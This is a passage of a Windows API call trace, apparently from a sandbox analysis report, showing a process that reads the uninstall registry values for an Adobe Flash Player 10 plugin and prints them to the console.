[0148.938] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayName", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3d9d00, pcbData=0x29f780*=0x3c | out: pdwType=0x29f700*=0x1, pvData="Adobe Flash Player 10 Plugin", pcbData=0x29f780*=0x3a) returned 0x0 [0148.938] __iob_func () returned 0x7fefd702a80 [0148.938] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0148.938] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0148.938] _fileno (_File=0x7fefd702ab0) returned 1 [0148.938] _errno () returned 0x204bb0 [0148.938] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.938] _errno () returned 0x204bb0 [0148.938] GetFileType (hFile=0x50) returned 0x1 [0148.938] lstrlenW (lpString=" ") returned 4 [0148.938] GetConsoleOutputCP () returned 0x1b5 [0148.939] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.939] GetConsoleOutputCP () returned 0x1b5 [0148.939] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.939] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.939] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.939] lstrlenW (lpString="DisplayName") returned 11 [0148.939] __iob_func () returned 0x7fefd702a80 [0148.939] _fileno (_File=0x7fefd702ab0) returned 1 [0148.939] _errno () returned 0x204bb0 [0148.939] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.939] _errno () returned 0x204bb0 [0148.939] GetFileType (hFile=0x50) returned 0x1 [0148.939] lstrlenW (lpString="DisplayName") returned 11 [0148.939] GetConsoleOutputCP () returned 0x1b5 [0148.939] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayName", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0148.939] GetConsoleOutputCP () returned 0x1b5 [0148.939] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayName", cchWideChar=11, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayName", lpUsedDefaultChar=0x0) returned 11 [0148.939] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 11 [0148.939] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.939] __iob_func () returned 0x7fefd702a80 [0148.939] _fileno (_File=0x7fefd702ab0) returned 1 [0148.939] _errno () returned 0x204bb0 [0148.939] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.939] _errno () returned 0x204bb0 [0148.939] GetFileType (hFile=0x50) returned 0x1 [0148.940] lstrlenW (lpString=" ") returned 4 [0148.940] GetConsoleOutputCP () returned 0x1b5 [0148.940] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.940] GetConsoleOutputCP () returned 0x1b5 [0148.940] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.940] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.940] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.940] __iob_func () returned 0x7fefd702a80 [0148.940] _fileno (_File=0x7fefd702ab0) returned 1 [0148.940] _errno () returned 0x204bb0 [0148.940] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.940] _errno () returned 0x204bb0 [0148.940] GetFileType (hFile=0x50) returned 0x1 [0148.940] lstrlenW (lpString="REG_SZ") returned 6 [0148.940] GetConsoleOutputCP () returned 0x1b5 [0148.940] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0148.940] GetConsoleOutputCP () returned 0x1b5 [0148.940] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0148.941] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0148.941] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.941] __iob_func () returned 0x7fefd702a80 [0148.941] _fileno (_File=0x7fefd702ab0) returned 1 [0148.941] _errno () returned 0x204bb0 [0148.941] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.941] _errno () returned 0x204bb0 [0148.941] GetFileType (hFile=0x50) returned 0x1 [0148.941] lstrlenW (lpString=" ") returned 4 [0148.941] GetConsoleOutputCP () returned 0x1b5 [0148.941] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.941] GetConsoleOutputCP () returned 0x1b5 [0148.941] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.941] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.941] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.942] __iob_func () returned 0x7fefd702a80 [0148.942] _fileno (_File=0x7fefd702ab0) returned 1 [0148.942] _errno () returned 0x204bb0 [0148.942] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.942] _errno () returned 0x204bb0 [0148.942] GetFileType (hFile=0x50) returned 0x1 [0148.942] lstrlenW (lpString="Adobe Flash Player 10 Plugin") returned 28 [0148.942] GetConsoleOutputCP () returned 0x1b5 [0148.942] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Adobe Flash Player 10 Plugin", cchWideChar=28, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0148.942] GetConsoleOutputCP () returned 0x1b5 [0148.942] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Adobe Flash Player 10 Plugin", cchWideChar=28, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe Flash Player 10 Plugin", lpUsedDefaultChar=0x0) returned 28 [0148.942] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 28 [0148.942] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.942] __iob_func () returned 0x7fefd702a80 [0148.942] _fileno (_File=0x7fefd702ab0) returned 1 [0148.942] _errno () returned 0x204bb0 [0148.942] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.942] _errno () returned 0x204bb0 [0148.942] GetFileType (hFile=0x50) returned 0x1 [0148.942] lstrlenW (lpString="\n") returned 1 [0148.942] GetConsoleOutputCP () returned 0x1b5 [0148.942] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.942] GetConsoleOutputCP () returned 0x1b5 [0148.943] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.943] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.943] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.943] GetProcessHeap () returned 0x3c0000 [0148.943] GetProcessHeap () returned 0x3c0000 [0148.943] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d9d00) returned 1 [0148.943] GetProcessHeap () returned 0x3c0000 [0148.943] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d9d00) returned 0x3e [0148.943] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d9d00 | out: hHeap=0x3c0000) returned 1 [0148.943] RegEnumValueW (in: hKey=0x5c, dwIndex=0x1, lpValueName=0x3d5c00, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Publisher", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.943] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Publisher", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x38) returned 0x0 [0148.943] GetProcessHeap () returned 0x3c0000 [0148.943] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x3a) returned 0x3d9d00 [0148.943] GetProcessHeap () returned 0x3c0000 [0148.943] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d9d00) returned 1 [0148.943] GetProcessHeap () returned 0x3c0000 [0148.943] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d9d00) returned 0x3a [0148.943] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Publisher", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3d9d00, pcbData=0x29f780*=0x38 | out: pdwType=0x29f700*=0x1, pvData="Adobe Systems Incorporated", pcbData=0x29f780*=0x36) returned 0x0 [0148.943] __iob_func () returned 0x7fefd702a80 [0148.943] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0148.943] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0148.943] _fileno (_File=0x7fefd702ab0) returned 1 [0148.943] _errno () returned 0x204bb0 [0148.943] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.943] _errno () returned 0x204bb0 [0148.943] GetFileType (hFile=0x50) returned 0x1 [0148.943] lstrlenW (lpString=" ") returned 4 [0148.943] GetConsoleOutputCP () returned 0x1b5 [0148.943] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.943] GetConsoleOutputCP () returned 0x1b5 [0148.944] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.944] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.944] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.944] lstrlenW (lpString="Publisher") returned 9 [0148.944] __iob_func () returned 0x7fefd702a80 [0148.944] _fileno (_File=0x7fefd702ab0) returned 1 [0148.944] _errno () returned 0x204bb0 [0148.944] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.944] _errno () returned 0x204bb0 [0148.944] GetFileType (hFile=0x50) returned 0x1 [0148.944] lstrlenW (lpString="Publisher") returned 9 [0148.944] GetConsoleOutputCP () returned 0x1b5 [0148.944] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Publisher", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0148.944] GetConsoleOutputCP () returned 0x1b5 [0148.944] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Publisher", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Publisher", lpUsedDefaultChar=0x0) returned 9 [0148.944] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0148.944] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.944] __iob_func () returned 0x7fefd702a80 [0148.944] _fileno (_File=0x7fefd702ab0) returned 1 [0148.944] _errno () returned 0x204bb0 [0148.944] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.944] _errno () returned 0x204bb0 [0148.944] GetFileType (hFile=0x50) returned 0x1 [0148.944] lstrlenW (lpString=" ") returned 4 [0148.944] GetConsoleOutputCP () returned 0x1b5 [0148.945] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.945] GetConsoleOutputCP () returned 0x1b5 [0148.945] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.945] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.945] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.945] __iob_func () returned 0x7fefd702a80 [0148.945] _fileno (_File=0x7fefd702ab0) returned 1 [0148.945] _errno () returned 0x204bb0 [0148.945] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.945] _errno () returned 0x204bb0 [0148.945] GetFileType (hFile=0x50) returned 0x1 [0148.945] lstrlenW (lpString="REG_SZ") returned 6 [0148.945] GetConsoleOutputCP () returned 0x1b5 [0148.945] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0148.945] GetConsoleOutputCP () returned 0x1b5 [0148.945] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0148.945] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0148.945] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.945] __iob_func () returned 0x7fefd702a80 [0148.945] _fileno (_File=0x7fefd702ab0) returned 1 [0148.945] _errno () returned 0x204bb0 [0148.945] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.945] _errno () returned 0x204bb0 [0148.945] GetFileType (hFile=0x50) returned 0x1 [0148.945] lstrlenW (lpString=" ") returned 4 [0148.946] GetConsoleOutputCP () returned 0x1b5 [0148.946] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.946] GetConsoleOutputCP () returned 0x1b5 [0148.946] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.946] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.946] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.946] __iob_func () returned 0x7fefd702a80 [0148.946] _fileno (_File=0x7fefd702ab0) returned 1 [0148.946] _errno () returned 0x204bb0 [0148.946] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.946] _errno () returned 0x204bb0 [0148.946] GetFileType (hFile=0x50) returned 0x1 [0148.946] lstrlenW (lpString="Adobe Systems Incorporated") returned 26 [0148.946] GetConsoleOutputCP () returned 0x1b5 [0148.946] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Adobe Systems Incorporated", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0148.946] GetConsoleOutputCP () returned 0x1b5 [0148.946] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Adobe Systems Incorporated", cchWideChar=26, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe Systems Incorporated", lpUsedDefaultChar=0x0) returned 26 [0148.946] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 26 [0148.946] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.946] __iob_func () returned 0x7fefd702a80 [0148.946] _fileno (_File=0x7fefd702ab0) returned 1 [0148.946] _errno () returned 0x204bb0 [0148.947] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.947] _errno () returned 0x204bb0 [0148.947] GetFileType (hFile=0x50) returned 0x1 [0148.947] lstrlenW (lpString="\n") returned 1 [0148.947] GetConsoleOutputCP () returned 0x1b5 [0148.947] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.947] GetConsoleOutputCP () returned 0x1b5 [0148.947] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.947] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.947] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.947] GetProcessHeap () returned 0x3c0000 [0148.947] GetProcessHeap () returned 0x3c0000 [0148.947] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d9d00) returned 1 [0148.947] GetProcessHeap () returned 0x3c0000 [0148.947] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d9d00) returned 0x3a [0148.947] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d9d00 | out: hHeap=0x3c0000) returned 1 [0148.947] RegEnumValueW (in: hKey=0x5c, dwIndex=0x2, lpValueName=0x3d5c00, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayVersion", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.947] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayVersion", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x1a) returned 0x0 [0148.947] GetProcessHeap () returned 0x3c0000 [0148.947] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x1c) returned 0x3d5c30 [0148.947] GetProcessHeap () returned 0x3c0000 [0148.947] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c30) returned 1 [0148.947] GetProcessHeap () returned 0x3c0000 [0148.947] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5c30) returned 0x1c [0148.947] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayVersion", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3d5c30, pcbData=0x29f780*=0x1a | out: pdwType=0x29f700*=0x1, pvData="10.3.183.90", pcbData=0x29f780*=0x18) returned 0x0 [0148.947] __iob_func () returned 0x7fefd702a80 [0148.947] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0148.947] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0148.948] _fileno (_File=0x7fefd702ab0) returned 1 [0148.948] _errno () returned 0x204bb0 [0148.948] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.948] _errno () returned 0x204bb0 [0148.948] GetFileType (hFile=0x50) returned 0x1 [0148.948] lstrlenW (lpString=" ") returned 4 [0148.948] GetConsoleOutputCP () returned 0x1b5 [0148.948] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.948] GetConsoleOutputCP () returned 0x1b5 [0148.948] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.948] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.948] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.948] lstrlenW (lpString="DisplayVersion") returned 14 [0148.948] __iob_func () returned 0x7fefd702a80 [0148.948] _fileno (_File=0x7fefd702ab0) returned 1 [0148.948] _errno () returned 0x204bb0 [0148.948] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.948] _errno () returned 0x204bb0 [0148.948] GetFileType (hFile=0x50) returned 0x1 [0148.948] lstrlenW (lpString="DisplayVersion") returned 14 [0148.948] GetConsoleOutputCP () returned 0x1b5 [0148.948] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayVersion", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0148.948] GetConsoleOutputCP () returned 0x1b5 [0148.948] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayVersion", cchWideChar=14, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayVersion", lpUsedDefaultChar=0x0) returned 14 [0148.949] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 14 [0148.949] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.949] __iob_func () returned 0x7fefd702a80 [0148.949] _fileno (_File=0x7fefd702ab0) returned 1 [0148.949] _errno () returned 0x204bb0 [0148.949] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.949] _errno () returned 0x204bb0 [0148.949] GetFileType (hFile=0x50) returned 0x1 [0148.949] lstrlenW (lpString=" ") returned 4 [0148.949] GetConsoleOutputCP () returned 0x1b5 [0148.949] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.949] GetConsoleOutputCP () returned 0x1b5 [0148.949] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.949] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.949] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.949] __iob_func () returned 0x7fefd702a80 [0148.949] _fileno (_File=0x7fefd702ab0) returned 1 [0148.949] _errno () returned 0x204bb0 [0148.949] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.949] _errno () returned 0x204bb0 [0148.949] GetFileType (hFile=0x50) returned 0x1 [0148.949] lstrlenW (lpString="REG_SZ") returned 6 [0148.949] GetConsoleOutputCP () returned 0x1b5 [0148.949] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0148.950] GetConsoleOutputCP () returned 0x1b5 [0148.950] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0148.950] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0148.950] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.950] __iob_func () returned 0x7fefd702a80 [0148.950] _fileno (_File=0x7fefd702ab0) returned 1 [0148.950] _errno () returned 0x204bb0 [0148.950] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.950] _errno () returned 0x204bb0 [0148.950] GetFileType (hFile=0x50) returned 0x1 [0148.950] lstrlenW (lpString=" ") returned 4 [0148.950] GetConsoleOutputCP () returned 0x1b5 [0148.950] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.950] GetConsoleOutputCP () returned 0x1b5 [0148.950] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.950] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.950] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.950] __iob_func () returned 0x7fefd702a80 [0148.950] _fileno (_File=0x7fefd702ab0) returned 1 